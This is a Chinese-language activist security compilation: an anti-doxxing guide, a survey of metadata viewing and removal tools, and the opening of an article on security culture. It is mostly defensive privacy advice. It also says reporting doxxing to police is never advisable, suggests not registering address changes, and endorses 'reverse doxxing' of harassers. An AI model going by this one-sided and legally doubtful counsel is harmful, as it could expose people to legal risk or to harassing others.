【2021年3月24日存档】人肉狂的目的就是让你绝望而放弃自己的反抗事业，这是所有形式的镇压的宗旨。而您的宗旨就是，别让他们得逞

这里的分步指南将解释如何保护自己免受网络人肉的侵害，为什么这很重要，以及如果你已经成为了人肉迫害的目标，该怎么办。

在一个普遍监控的时代，当社交网络用户转播每一次重大的示威活动时，恶意的个人、政府间谍和警察都会密切梳理社交媒体的帖子，收集情报以骚扰活动家，因此，您必须做好应对的准备。

本文中涉及到的资源您可以在这里下载：https://www.patreon.com/posts/gei-huo-dong-jia-45286887

什么是Doxxing

「图」

这里所指的 Doxxing 是专门针对异议人士和反抗者的一种可能非常可怕的镇压手段，它通过公布一个人的私人信息，目的是曝光和恐吓此人放弃反抗。这可能对目标造成身体、情感和经济等各方面的伤害。它的目的是吓倒反抗者让他们放弃行动，并使他们的想法和价值观受到羞辱。

重要的是，在你被 Doxxing 之前，要认真对待安全问题 —— 在你甚至有理由担心自己可能被 **Doxxing** 之前进入防御，而不是亡羊补牢。

通常，Doxxing 会等到收集到了足够多的信息后才一次性爆炸；那时候您有可能已经被跟踪很久了，直到为时已晚才发现。

📌 无论您是知名的公开身份的活动家还是几乎没有参与过任何行

动，您都应该保护自己的社交网络和生活中的其他领域 —— 即使您不认为自己正在做任何值得关注的事，也是如此；要知道，这些坏蛋是完全没有原则的。

保持良好的做法可以保护您自己、您的朋友、家人和社区。Doxxing 只需要一条信息就可以开始在网上寻求更多的细节，他们会挖得很深，他们都是开源情报界最邪恶的疯子。

您必须意识到自己在网上留下的任何信息痕迹，都有可能令您受到警察、间谍、以及莫名其妙的疯子的侵害。现在，国家实施的监控越来越复杂，同时在抗议活动中进行在线直播已经成为常态，仅仅戴上面具往往是不够的。

2020年6月，在费城，调查人员从一个女人的模糊照片开始确认她的身份。他们跟踪了一整条数字面包屑的线索，包括网购、Twitter 账户、和她的专业工作页面 ……你永远都不会知道他们会将什么做成武器以击倒你。

📌 任何时候，请确保您的在线存在可以让您感觉在线下采取行动更安全。

一分预防胜过十分治疗

「图」

没有比现更好的时机了，您应该马上开始。因为，如果您已经被 dox，您就很可能无法再删除那些坏蛋用来打倒您的被武器化的您的个人信息，因为它们会被无限地复制粘贴，您永远都删不掉。

有许多不同的方法来解决这个问题。显然，确保没有人可以找到任何关于您的信息的最好方法是 —— 没有任何可用的信息在线，但有些人无法消除自己的在线存在，无论是因为工作、家庭、或者其他责任。

📌 在某些情况下，保持某种在线角色是有战略性原因的；例如，拥有一个长期存在的、可信的但完全无害的社交媒体账户，可能对应付查手机来说非常有用，比如当您跨越美国边境的时候，或者当您进入新疆地区的时候。

也就是说，您可以采取分身战术，将自己敏感的部分隔离出来，具体的做法见下面：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》

有一些方法可以将您生活中不同的领域设置成防火墙，如果您需要的话，可以策划一个公共档案，并采取一些做法，帮助您和您的朋友感到有能力继续在您的社区中采取行动。

这个过程可能是乏味的。它将需要时间和精力。建议您与朋友，室友或家庭成员一起做，以帮助度过一些困难或无聊的方面。

少即是多

「图」

如果您不能完全从互联网上删除自己，您仍然可以通过保持不同的领域的在线活动来保持相对的隐私，并清理那些被遗忘的或不经常使用的账户。

您很可能有一个以上的在线存在。这可能包括社交网络、留言板、工作网站、电子邮件账户等等 —— 任何您需要登录的东西。通常在 doxxing 中，信息是从许多不同的来源进行三角测量的。减少信息量的方法之一就是，分割这些领域，使它们彼此不连接，将人肉狂带入死胡同。

这是一个高度个性化的过程；花一些时间考虑以下问题，以绘制出最适合您自己的做法：

- 您是否把时间花在社交媒体熟人间的讨论上了？
- 您是否经常点赞或转发激进的社交媒体帖子？
- 您在任何招聘网站上有个人信息吗？
- 您是否在任何网购站点上买东西？
- 您的朋友在社交媒体上发布过您的照片吗？
- 您是否需要在网上宣传自己所从事的工作？
- 您是否用同一个账号与您的同事、家人和活动家朋友联系？
- 您是否使用部分真实姓名或真实生日作为用户名或电子邮件？

每一种情况本身可能都不是问题，但是，当它们被放在一起时，就是您的完整私密生活图谱，警察和间谍等人肉狂最想要的就是这个。他

们会这样做：《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》。

您需要问自己以下这些问题：

- 这些账户/身份的独立性如何？—— 会不会像上图中那样，只要找到其中一个账户/身份，就能牵出一大串其他东西？
- 哪些是公开的？哪些是私密的？—— 您肯定知道什么时候应该公开，什么时候应该私密；
- 在每个网站的背景中，公共和私密意味着什么？—— 这是对开源*反*情报而言的，您必须从技术角度来考虑这件事，而不是简单地信任某平台上的隐私设置按钮；
- 通过搜索您的法定名称可以在网上找到什么？—— 这是指您需要《自我人肉》一下，以便了解自己真正的曝光程度，而不是靠想当然；
- 您是否在多个账户中使用同一个用户名或电子邮件名？这些是否在您的生活中交叉到不同的领域？—— 花点时间想想所有这些领域在线下重叠的方式；
- 您的工作是否允许您公开自己的政治倾向？—— 有些时候是不允许的，比如存在政治审查的工作，您的雇会因您的政治倾向而解雇您，在这里看到这种威胁；
- 您的行动主义有多公开？您会和记者交流吗？您在宣传自己吗？—— 这需要权衡，建议您使用这里的标准来科学地权衡这点《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》
- 您是否会过滤部分或全部来自亲属的社交媒体内容？—— 很多人会这样做，有些时候这有必要，但是，这也会导致您无法及时看到您的亲属是否发布了曝光您真实身份的信息，您应该在发现这种情况后立即要求对方删除，所以，及时获知是很重要的。警察和间谍很擅长利用您的身边人来对付您，而不是直接瞄准您本人；
- 在您的特定个人资料中是否有任何提及非法的或有争议的活动？不论那是不是真的发生过 —— 这些信息不论真假，都是追踪狂的挚爱，他们会无限放大这些信息，借以对您实施《人格暗杀》。

📌 以下是一些示例，说明您的在线形象如何在不同站点上重叠：

亲属 ——

您与您的亲人之间的关系有多公开？尽可能把所有亲人考虑进去，父

亲、祖父母、兄弟姐妹、七八姑八大姨 …… 思考这个问题：如果恶意者获得了他们中任何一个人的信息，恶意者可以从中挖掘到关于您的多少内容？

政治 ——

您是否曾经在网上讨论或发布过有关您的政治立场的信息？如果是，在哪些平台上发布的？

朋友与社区 ——

如果您有社交媒体，您的朋友是谁？您的追随者是谁？您的在线社区是否或以何种方式反映了您的现实生活？

兴趣爱好 ——

您有什么爱好？您有基于兴趣爱好结交的朋友和参加的相关社区吗？您是致力于这些爱好的互联网社区的一员吗？

法定信息 ——

您的真实身份绑定了哪些电话号码和地址？您的帐户中是否包含法定身份信息？还有其他网站包含您的法定身份信息吗（包括可能未经您的许可的情况下被收集的信息）？比如您通过手机号码验证了一项服务，该服务就有您所有法定身份信息。

事业 ——

您的工作是否涉及在线业务、网站或社交媒体帐户？如果您的政治立场与您的职业重叠，会不会有问题？或者，您的职业生涯在某种程度上与您的政治身份有关？

花时间考虑一下您的真实身份与在线身份的重叠之处，在线目标是什么、以及可以将这些领域分开的方法。

策略

「图」

下面来看看如何发现您的哪些信息、如何识别和消除这些痕迹，以及有哪些在线资源可以删除它们。

从公开的信息开始。谷歌您自己，列出您所有的社交媒体账户。删除您不再使用的旧账户。这也是一个很好的时机，下载一个密码管理器，如 1Password 或 LastPass，协助您管理独特的用户名、电子邮件和密码。

从自我人肉开始

「图」

就如您所知道的，要想做到最有效的防御，您需要想攻击者那样思考。想想看人肉狂会怎么做？没错，他们会先彻底挖掘有关您的一切，所以防御的第一步就是，抢在攻击者行动之前您来亲手挖掘自己的一切，把能删除的所有部分都删掉。在这里看到具体做法《自我人肉》；社交媒体的《社交媒体情报和反情报基本工具手册：自我人肉（2）》。

并不是所有东西都能删除，有些是删不掉的，比如曾经的联署信，如果您使用了自己的真实身份的话。总之，把您能删掉的一切都删除，并制作一些假的身份信息，以迷惑人肉狂。

并且，您还可以设置提醒，如果有人在搜索您，您会收到警报，具体做法见《如何知道有人正在线人肉你？6个简单的方法》。

在这个初步的搜索之后，再看看那些靠买卖个人数据获利的数据中介网站。这些网站会尽量让你难以删除自己的信息。耐心一些，因为人肉狂会非常耐心地挖到您的一切。

当您在网上搜索自己的时候，您也可能会发现旧的账号，使用您能记住的所有旧用户名和网名进行反向搜索以找到它们，我敢保证肯定有您早已忘掉的自己注册的账户。

您很久没有使用过的账户会让您变得脆弱，因为如果他们使用的是旧的密码，人肉狂可以尝试将密码用于其他账户。下载任何对您有感情价值的资料，永久关闭所有您不再使用的账户。这里面可能充满了关于您生活的线索。

这是您要是使用开源情报的地方，因为人肉狂都是开源情报专家，您需要像他们一样专，才有可能战胜他们。具体见：《对抗性思考方式：别便宜坏人》。

Haveibeenpwned.com 将帮助您确定是否有涉及您所拥有帐户的数据

泄露。如果有，请立即采取措施更改密码。

更改用户名，电子邮件地址和密码

「图」

别人要想找到更多关于您的信息，最简单的方法就是搜索您的名字、别名和用户名。为了保持您的互联网活动范围分开，每当您创建一个帐户时，总是需要使用一个新的用户名，一个完全不一样的用户名，没人能将它们和您联系在一起的那种。

如果您有一个专业的工作网站，必须使用您的法定名称，请确保您用于该账户的电子邮件只用于该目的 —— 所有医疗和政府相关的账户有一个名字，网购有一个名字，政治生活有另一个，社交媒体也有另一个，交友网站再有另一个，等等。对所有代表您或展示您照片的网站都使用别名和虚假身份信息。

整理可用内容并更改您的隐私设置

「图」

一旦您消除了所有的枝节，就可以开始选择要保留的东西了，以及在那里可以找到什么。如果您保留了任何社交媒体账户，请先翻阅您的个人资料，并思考其他人可以从中发现关于您的什么。

📌 一些选择包括：

- 删除所有自己的照片，您的宠物，您的车，您的邮箱，纹身，和其他任何东西，包括不必要的识别性信息，特别是您的公共档案图片。
- 删除或伪造个人资料中的任何个人信息 —— 提供一个假的生日，随意编写任何关于家乡、上过的学校、雇主等等信息。
- 如果您把所有的社交媒体设置都改为私密，并且对自己的关注者名单有信心，那么可能就没有那么多理由隐藏您的脸。但是仍然要建议将有关您的位置和私密的个人生活的细节保持在线下。如果您选择更加公开，请将您的朋友和家人分开，在没有得到他们的知情同意的情况下，不要发布任何他们的照片或他们的个人信息，并记住，通过社交网络和数据收集网站可以很容易看到社交关系，人肉狂总是会从您的周边人下手。

当您认为自己已经完成了，试着让一个朋友根据他们能找到的关于你

的信息创建一个配置文件，看看是否有任何您没有想到的东西被漏掉了，快速找到解决方法。每隔几个月定期检查一下通过搜索您的名字能找到什么，这可能很重要。

如果您已经被人肉

「图」

如果已经发生这种情况，永远不建议报警。警察会使用他们得到的关于您和其他个人和团体的信息，您可能已经公开的那些关系。一旦这些信息被记录在案，就会永久地掌握在警察手中，这个您是删不掉的，而且警察很可能用这些信息来针对你或你的队友进行镇压。

通常情况下，警察不会做任何事，或者只会使情况变得更糟。本指南的目的是为您提供基于社区支持和授权的替代方案。

您需要公开回应，但在此之前请务先与您的关系网络沟通这件事。

您的第一反应可能是立即用公告这件事以提醒尽可能多的人，或者关闭一切。如果您有支持者群体，以这种方式公开可以为你提供即时的支持，但是，这样做也有可能增加人肉狂的攻击性。

您首先要做的最重要的事是 —— 采取措施保护自己和您的关系网络，免受进一步的伤害。

而立即发布公告会使您的安全工作变得复杂。无论被人肉狂发布的关于您的信息是否准确，在没有首先确认至少部分信息的情况下，没有人可能利用这些信息对您造成任何严重的伤害。

立刻公开还会表明您已经看到了攻击发生，并表明您很害怕。人肉狂想要的就是这样的效果。他们想恐吓和孤立您。

不要确认或否认他们挖到的任何关于您的信息，不管它是假的还是令人尴尬的。人肉狂正在寻求您的这种反应。如果您让他们知道他们所发布的信息是不正确的，他们可能会得出结论，他们是在正确的轨道上，他们只需要继续挖掘。

有时，最有效的初始公开回应之一就是完全不回应 —— 不要对您的发帖习惯做出任何重大改变，也不要表现出任何恐惧。这可以传递这样的信息：doxxing 目标是错误的，你们的攻击是失败的。

在您有时间处理自己的感受并确保自己的安全之后，再公开发表意

见，或许可以和其他遭遇类似情况的人联合起来，这可能是一种战略性的做法。

您也许可以利用公众对攻击者的愤怒来创建一个运动，以劝阻进一步的迫害 —— 例如，做一个资助活动，承诺为您和您的社区中的其他遭到骚扰的人分钱，由于骚扰者想要孤立你，这样的公众支持可以阻止进一步的恐吓。

📌 尽量做到有创意、有弹性、有策略。在这个过程中，要小心不要危及到其他任何人。

在发表公开声明时，如果您摆出姿态或吹嘘自己的能力、尤其是使用暴力的能力、可以保护自己的武器，或者过分夸大自己的凶残等等，绝不是好事！这只会伤害您的支持者，却很难吓到攻击者。

📌 建议您发表积极的声明，申明您的道德和信仰，描述您的身份或您的理想如何使您成为被攻击的目标，并且一定要坚强，强调虽然这些骚扰活动是为了让你退缩，但你不会这样做，因为你没有理由隐藏自己的政治立场。请避免谈论任何具体的行动或团体，无论你是否参与其中。

注意事项

「图」

1、不要惊慌地打电话给朋友过来帮忙。

2、建立一个事件日志，并对在线和离线的挑衅行为进行记录。这对于确定攻击模式至关重要！将您的记录与您的伙伴中同样遭遇者的记录进行对比，您有可能从中看出更大范围的攻击模式，从而确定您的对手和他们的组织，这是很有用的。

3、私下里提醒您的朋友、家人和敏感的政治网络。责成几个您信任的朋友提供您的个人信息，帮助报告社交媒体和博客帖子，确定它们是骚扰。反复这样做。

有时人肉狂会使用您的照片和个人身份信息来冒充您的账户。通常，将这些作为假货进行举报比较容易；为了防止他们通过冒充您的身份从您的敏感关系网络中获取更多的信息，请尽量尽快举报。

您自己、您的家人和您的雇主可能会开始收到威胁或骚扰电话。尽快

让他们知道发生了什么，并指示他们不要与骚扰者接触。

4、关闭信息流。如果您还没有进行预防护理部分，请马上开始这个过程。下载一个密码管理器，立即更改您的所有密码。

重要的是要尽可能减少信息曝光导致的“出血”，同时也不要让人肉狂警觉到**dox**是有效的或有针对性的。尽量通过将好友列表和信息私密化来支撑您的社交媒体账户，以保护您的关系网络中的其他人，直到您确定他们不会将脆弱的个人信息提供给那些愿意挖掘的人。

您如何公开反应是一个非常微妙的情况，在整个过程中应该小心处理。

5、制定一个安全计划。招募朋友和家人来支持您。让他们知道正在发生的一切；**doxxing**可能是创伤性的，您需要优先考虑自己的心理和身体健康，以便继续您的工作。

这些对话可能会很困难 —— 特别是如果您的亲友不了解这个政治时刻的细微之处，如果他们是第一次听到有关这种镇压方式，或者如果您和亲友之间的关系因政治立场或个人差异而紧张。如果您觉得自己无法胜任，可以请一位对情况很了解的朋友替您进行这种困难的对话。

如果您的家庭地址成为了人肉目标，如果可以的话，找一个新的藏身之处。如果您不能离开家，邀请朋友或当地的安全团体与您同住。做一个“随身包”，里面装上您需要的所有东西，以便您随时可以立刻离开此地。具体做法见《完美隐身》系列，此处的链接是最后一集内容，其中有本系列完整列表。

评估威胁

「图」

如果您不觉得自己有非常大的风险，特别是如果针对您进行攻击的人肉行动是由免费提供的信息组成的，或者是直接发给您的，目的是为了激怒您，您可能会觉得无所谓，把它当做一种廉价的恐吓策略，屏蔽并报告骚扰者，然后继续前进。

📌 然而，如果针对您的人肉包括敏感的个人信息，特别是不容易通过简单的侦查工作就能获得的细节性信息，您可能要采取进一步的预防措施。如果您已经是被攻击的目标群体或社区的一部分，尤其如

此。

当您了解到自己已经被 dox 时，重要的是要确定哪些信息可以转化为可信的威胁。通常情况下，doxxing 是更具侵入性的线下骚扰的前兆，或者与对信息采取行动的威胁有关。这可能是任何事，比如报假警、给您的家人亲友或工作单位打骚扰电话、死亡威胁等等。

有时很难确定什么使威胁“可信”。普通人肉狂最常见的策略是在他们认为能联系到你的任何地方发送令人毛骨悚然的或恐吓性的信息 ——社交媒体、电子邮件、家庭成员等。攻击者经常会暗示他们拥有比实际更多的信息；他们通常会说他们已经向当地执法部门提供了这些信息。他们的目标是恐吓你不要采取行动；您需要知道，通常他们公开发布的任何关于您的信息都是他们获得的全部信息。

你的雇主可能会接到电话，人肉狂要求他们解雇你。到目前为止，被人肉的目标很少受到人身攻击，但它确实已经发生了，那些人肉狂可能会努力将你的信息送到那些不道德的人手中，激励那些疯子去殴打您。

谨慎是重要的，但不要惊慌失措，也不要沉浸在焦虑中。

📌 问自己以下这些问题：

- 用来人肉您的信息是否准确？人肉狂有你的家庭、工作单位或家庭地址吗？他们知道你常去的地方吗？他们知道你的朋友是谁？
- 如果他们发现了你的这些信息，你是否有失业的风险？
- 你知道骚扰者住在哪里吗？他们是靠近你的实体社区，还是只是分散在论坛上的在线trolls？
- 他们是否有你的敏感照片（尴尬的和私密的照片）？
- 他们是否有信息将你与犯罪活动联系在一起，可能会让你被捕？比如污蔑您持有毒品？或者污蔑您的私生活？

解决方案

「图」

📌 您可以采取以下措施来应对人肉的危险：

- 制定自卫计划，参加自卫课程，联系当地社区防卫组织；具体方法见《灾难中幸存》系列，此处为本系列最后一集，含完全

列表；
- 通知被点名的人和团体 —— 工作单位、同志、室友、家人，让他们做好防御；
- 和您信任的人谈谈您的恐惧；
- 联系曾经经历过这种情况的人，征求他们的意见；
- 如果您担心有关您的信息可能会引起国家行为者的兴趣（警察和政府间谍），请安排一名律师；
- 与当地的反抗组织联系 —— 如果人肉狂是用假账户发帖，他们也许能帮助识别人肉狂的身份。即 反向人肉。

与同事和家人进行对话

「图」

这种对话可能会非常困难，尤其是当您的家人不支持您的事业而造成你们之间关系紧张时。如果有必要的话，让一个头脑冷静的朋友在事后帮助调解或支持你。

想一想，您愿意多长时间和家人脆弱地交谈一次，将来又有多少机会跟进这次谈话。如果有必要和家人交谈，但您觉得自己只有一次机会，可以和朋友排练一下，为您将面临的反应做好准备。

如果您和家人之间有持续的、对话式的、信任的关系，您可以用一系列较小的谈话向他们解释情况，而不是一次长长的坐谈。评估您会有多少时间和可以获得多少注意力。

对发生的事坦诚相待是值得的。这可以帮助建立更强大的关系，并消除那些常见的神秘感，同时鼓励其他没有考虑到这种情况可能发生在他们或他们认识的人身上的人认真对待网上隐私。大多数人都会以恐惧和同情来回应，尽管有时他们会建议甚至坚持让你报警。

📌 与您的朋友和家人交谈时要记住这些事：

- 人肉狂的目标是让你的人际关系紧张，毁掉你的生活。不要让他们成功。告诉你的家人，支持你的最好办法就是拒绝屈服。
- 不要声称自己是无缘无故的目标，人肉狂对你的迫害正是源于你的反抗信仰，你应该公开承认这点。如果拒绝承认，只会使那些无法与反抗政治保持距离的人失去合法性，并进一步危害他们。
- 不要让任何人将发生的事归咎于你。为一个更美好的世界而战就必然涉及到挑战，如果说你的努力引发了这种反应，那是你

的功劳。请为此骄傲。
- 提出你可以帮助同伴了解情况和保护自己的具体方法。把这篇文章和相关资源清单给你的同伴；如果他们不懂技术，你可以帮助他们。
- 告诉他们可以做出什么准备，准确地告诉他们会遭遇什么。让他们做好最坏情况的准备，但要强调那并不是绝对可能发生的。
- 要清楚你需要他们提供什么。

不要妥协，继续前进

「图」

深吸一口气。不要责怪自己。在情感上，这可能会给你带来深深的困扰和破坏，给你的生活增加一层急性压力。有时，如果你的名字被 google 搜索到，来自 doxxes 的信息就会成为互联网的永久部分；这可能会影响你的工作前景。

在您确定自己在聚光灯下的时间已经结束之前，您可能不得不改变自己生活的某些方面。📌 问问自己："我想过什么样的生活？我怎样才能控制自己的焦虑？我是否有办法可以接受自己成为一个更加公众的人物？我怎样才能放心地去冒险，重新活跃起来？" 特别是，随着政治紧张局势的加剧，采取更极端的安全措施可能是重要的。

以下是您可能选择采用的一些措施：

- 不要让任何人给你拍照，除非你信任他们、并以你需要的方式处理图像。这可能会造成一些尴尬的对话，特别是在家庭活动或职业场合。注意谁会出现在与你的照片中；告诉他们，与你一起出现在照片中可能会引起不必要的危险。排练一下你可能需要进行的对话，会很有帮助。
- 在家中和敏感的工作地点安装摄像头，尤其要注意摄像头的安全性！
- 保存你所经历的所有骚扰的日志。
- 如果你搬家，切勿公开更新你的地址。不要登记，因为这会使你的地址被记录。尽量保留你的旧驾照或身份证，并在邮局信箱里接收邮件。考虑什么时候使用真实地址，什么时候使用假地址，或者在网上或现实中报名时完全省略地址。
- 如果需要，在网上和现实中使用假名。不要反复使用同一个假名。
- 当你去参加行动时，特别是当你不蒙面时，要注意哪些团体、

地方或个人可能会因为在你附近被拍摄到而受到牵连。
- 投入时间参加自卫课程。这可以包括武器训练，但必须包括防卫和解除武装训练。
- 去看心理医生或者获得社区专业心理协助，以克服您所经历的任何创伤。
- 帮助您的朋友和家人了解网络安全的重要性。
- 与您的政治亲和力圈子以外的人进行坦诚的对话。您可能会惊讶于他们所表达的同情心。

无论针对您的人如何努力让你感到孤立，您都不会真正被孤立，一定要信任这点。作为一个社区，我们必须保护彼此和我们的在线网络免受骚扰、监禁、政治暴力和恐吓。团结起来，我们就能做到这一点。○

原文

AS6 一系列元数据工具，从自我保护到有效利用 - iyouport

护盾（AS）

【2019年6月26日】以赴死为目标的战斗不是英勇。胜利需要在保全自己的同时打击对手。绝大多数武器都是亦正亦邪的，你要做的就是充分利用它们、并避免它们被你的对手所利用。

继续昨天的话题。

使用元数据

「图」

为了更好地理解如何使用元数据和围绕元数据，重要的是要在实践中知道提到元数据时通常意味着什么。

下面是可以与不同类型的数据一起存储的元数据列表：

图片

- 如果使用 GPS 功能设备（如智能手机）拍摄照片的位置（纬度和经度坐标）；
- 相机设置，如 ISO 感光度、快门速度、焦距、光圈、白平衡、镜头类型等（请注意，有些相机确实包含位置坐标）；
- 相机或智能手机的型号；
- 拍摄照片的日期和时间；
- 用于编辑照片的程序的名称；

PDF 文件

- 作者姓名，通常是首次安装用于创建文件的程序时分配的名称；

- 用于创建文件的程序的版本和名称；
- 文件的标题；
- 某些关键字；
- 文件创建/上次修改的日期和时间；
- 文本文件；

根据用于创建文档的程序，数据可能包括

- 所有不同作者的名字；
- 在以前版本的文档中删除的文本和注释行；
- 创建和修改日期；

影片

视频文件中的元数据可分为两部分：

- 自动生成的元数据：创建日期，大小，格式，编解码器，持续时间，位置；
- 手动添加的元数据：有关素材的信息，文本转录，标签，更多信息以及编辑的注释等等；
- 推荐阅读：全面了解视频元数据并与 WITNESS 合作。

音频

音频元数据类似于视频，但更广泛地用于注册文件的属性。除此之外，还可以包括：创建日期，大小，格式，编解码器，持续时间和一组手动添加的数据，如标签，艺术家信息，艺术作品，评论，专辑中的曲目编号，流派等等。

通讯

通信中的元数据取决于所使用的通信类型（即电子邮件，移动电话，智能手机……等）。但总的来说，它可以揭示以下内容（如果没有使用隐藏元数据的工具的话）：

- 发送者和接收者的 ID；
- 沟通的日期和时间；
- 地点；
- 沟通方式..等等；

工具

「图」

有多种方法可以从文件中提取元数据。选项因操作系统而异，从工具到插件，再到桌面版本或浏览器内工具。

免责声明：⚠ 使用在线平台提取元数据时，牢记数字隐私和安全非常重要。没有足够的信息来保证流程的机密性。这些平台可能会跟踪您的在线行为，存储您的数据或与第三方或当局共享。⚠

有各种方法可以揭示或查看元数据，这些方法和工具将在后面详细介绍。有些工具可以读取内置文件信息的元数据（例如 Photoshop），这意味着它们将以其格式显示数据。其他的则有更详细的输出。

虽然在创建文件后可以删除或更改元数据，但在创建文件之前考虑某些元素是明智的。例如，建议您更改手机上的设置，使用某些应用程序，修改所用软件的用户详细信息等。以下是使用智能手机相机的两个示例。

图 A：使用 CyanogenMod 的 Android 手机拍摄的照片。不显示地理位置或使用的手机类型：

图 B：用 iPhone 拍摄的照片。请注意显示的额外详细信息，包括地址、电话类型、相机类型和使用的程序。

元数据工具

「图」

有各种用于查看元数据的工具，工具的选择可能取决于您的目标是什么。除了包含元数据功能的软件（如 Photoshop，Adobe Acrobat 等）之外，下面是查看元数据的工具列表。

⚠免责声明：请注意，要提取和编辑元数据，某些在线平台可能会跟踪您的在线行为，存储您的数据或与第三方或当局共享。牢记数字隐私和安全非常重要。没有足够的信息来保证流程的机密性。⚠

Phil Harvey 的 ExifTool

- 兼容性：Windows，Mac OS 和 Linux
- 专有状态：免费和开源
- 类型：桌面

强烈建议使用此工具，但可能需要一些工作才能导航，因为它依赖于命令行。然而，它涵盖的文件格式和它给出的结果是相当全面的。**ExifTool** 允许用户读取、编写和编辑元数据。该工具的网站提供信息、下载和解决方法。

Jeffrey's Exif Viewer

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一个基于 Phil Harvey 的 ExifTool 的在线工具，可以选择上传图像或在线使用图像的 URL。它确实提供了一个添加到 Mozilla 或 Safari 的按钮，允许快捷方式更快地提取元数据。

Exifer

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一款基于 Phil Harvey 的 ExifTool 的在线工具。它可以直接访问 DropBox，Flickr 和 Google Drive。用户可以从 Exifer 网站登录并直接从那里编辑图像。Exifer 有一个隐私声明："图片将被临时下载，只是为了让你编辑它们。一旦您刷新本网站的主页，临时文件将被删除，或者在下载时间 15 分钟后自动删除。"

Read Exifdata

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一个在线工具，可让您上传图片或粘贴 URL。虽然它允许用户匿名访问和使用网站，但值得一看的是，他们在网站上发布的隐私政策，详细说明了他们和其他第三方在平台上收集的数据类型。

CameraV

- 兼容性：Android 手机
- 专有状态：免费和开源
- 类型：手机

这个我们已经多次提到了。CameraV 是由卫报项目和 WITNESS 创建的移动应用程序。应用程序名称中的 V 代表验证，它是为了向照片或

视频添加大量额外元数据而创建的，以验证其真实性。这个软件做了两件事。首先，它描述了图像和视频的人物，内容，时间，地点，原因和方式。其次，它建立了一个可以在法庭上指出的监管链。对于公民记者取证来说，非常好用。

Metadata En Masse

- 兼容性：Linux，Mac OS
- 专有状态：免费和开源
- 类型：桌面

正如其名字所示，该脚本允许从大量图像中提取地理定位元数据。在处理大量图像时，它可以节省宝贵的时间。由 Exposing the Invisible 团队成员编写的脚本应放在名为 geobatch.rb 的文件中，并在包含其中所有图像的文件夹中运行。

TrashEXIF

- 兼容性：Mac OS
- 类型：手机

TrashEXIF 是一款 iPhone 应用程序，允许用户从图像中删除所有元数据或控制应删除或保留哪些元数据。该应用程序还允许预设应用于所有拍摄图像的协议。

删除元数据

「图」

有多种方法可以从文件中删除元数据。以下是来自 Security in-a-Box 工具包的一些建议。

先发制人

您可以通过以下方式阻止捕获 GPS 位置等特定类型的元数据：

- 关闭无线和 GPS 位置（位置服务下）和移动数据（可以在数据管理器 →数据传输下找到）；
- 拍摄照片时，请确保照片应用程序中标记位置的设置也已关闭；
- 使用 Metanull（适用于 Windows）等工具，您可以确保在共享

之前删除所有元数据。下面详细讨论该工具。

注意：⚠ 某些文件（如 DOC 和 PDF）可以在其中保存图像文件。如果您没有采取必要的谨慎措施，只是清除了保存图像的文档上的元数据，但是将依旧保留被嵌入图像的元数据！在将图像添加到 DOC 之前请使用 Metanull 事先从中删除所有元数据。

从文档和其他文件中删除元数据

如上所述，其他常用文件类型（如可移植文档文件（PDF）或由 Microsoft Office 或 LibreOffice 等应用程序创建的文字处理文档）包含元数据，其中可能包括：

- 创建文档的人员的用户名；
- 最近编辑和保存文档的人员姓名；
- 创建和修改文档的日期。

在某些情况下，您的文档可能还包含其他个人身份信息，例如地址，电子邮件地址，政府 **ID**，**IP** 地址或与您计算机上其他程序中的个人身份信息相关的唯一标识符。

通过查看文件属性（可以通过右键单击文件图标并选择‘属性’来访问），可以轻松访问其中一些信息。查看其他信息或隐藏性数据则需要特定的软件。在任何情况下，根据环境的不同而异，如果您正在交换敏感信息，此数据就可能会使您面临风险。

从 **PDF** 文件中删除元数据

Windows 或 MAC OS 用户可以使用 Adobe Acrobat XI Pro（提供试用版）等程序从 PDF 文件中删除或编辑隐藏数据。

使用 Acrobat 打开任何 PDF 文件将允许您通过转到“文件”菜单然后选择属性来编辑元数据。在这里，您可以修改文档作者的姓名、标题、主题、关键字和任何其他元数据。您可以通过转到“工具”菜单，然后选择“保护”，再选择“删除隐藏的信息”，从而删除有关创建时间、修改时间、用于创建文件的设备类型以及您未看到的其他隐藏性数据的信息。

对于 GNU / Linux 用户，PDF MOD 是一个免费的开源工具，用于编辑和删除 PDF 文件中的元数据。但是，它不会删除创建或修改时间，也不会删除用于创建 PDF 的设备类型。

从 **LibreOffice** 文档中删除元数据

在 LibreOffice 文档中，可以通过选择“文件”菜单，然后选择“属性”来查看元数据。在“常规”选项卡下，可以单击“重置”以重置常规用户数据，例如总编辑时间和修订号。您还可以通过取消选中此屏幕上的“应用用户数据”复选框，以便删除创建者的名称。完成后，转到“描述”和“自定义属性”选项卡以清除您不想显示的任何数据。最后，单击 Securit **选项卡并取消选中*Record 更改框，如果默认情况下未取消选中它的话。

注意：如果使用 Versions 功能，则可以通过转到“文件”菜单和“版本”来删除可能存储在其中的旧版本文档。如果您使用“更改”功能，请转到“编辑”菜单，然后单击“更改”以接受或拒绝清除与文档所做更改相关的数据（如果您不再需要此信息的话）。

用于清理元数据的其他策略

某些文件类型包含的元数据多于其他文件类型，因此如果您不想使用软件，并且文件的格式无关紧要，您可以从包含大量元数据的文件中做出更改（例如 .DOCs 和 .JPEGs）变成（例如 .TXTs 和 .PNGs）。

⚠ 在注册 Microsoft Office，Open Office，Libre Office，Adobe Acrobat 等软件的副本时，请避免使用您的真实姓名、地址、公司或组织名称。如果您必须提供姓名或地址，请使用假名。

- 延伸阅读：《伪装 + 擦除—— 在线隐身的重要步骤》

工具们肯定会越来越好用，越来越服务于大众。隐私不应该是技术精英的特权、获知真相也不应该被资金雄厚的企业媒体所垄断。民主需要公民行动起来，智慧和能力应该是您最好的装备。

好啦，我们后面还会具体介绍利用元数据实现挖掘调查的演示，希望它们能让您体验到精彩 ☺。

原文

AS60 如果您的团队陷在被监视和被渗透的恐慌中，只是因为您缺少了一件东西 — 什么是安全文化

护盾（AS）

【2021年4月14日存档】我们从来没有告诉过您这些东西，也永远不会告诉您。感谢您记得这点

此前的系列的文章中我们已经多次提到“安全文化” 这个概念，那么它是什么意思呢？本文将详细解释这个概念。

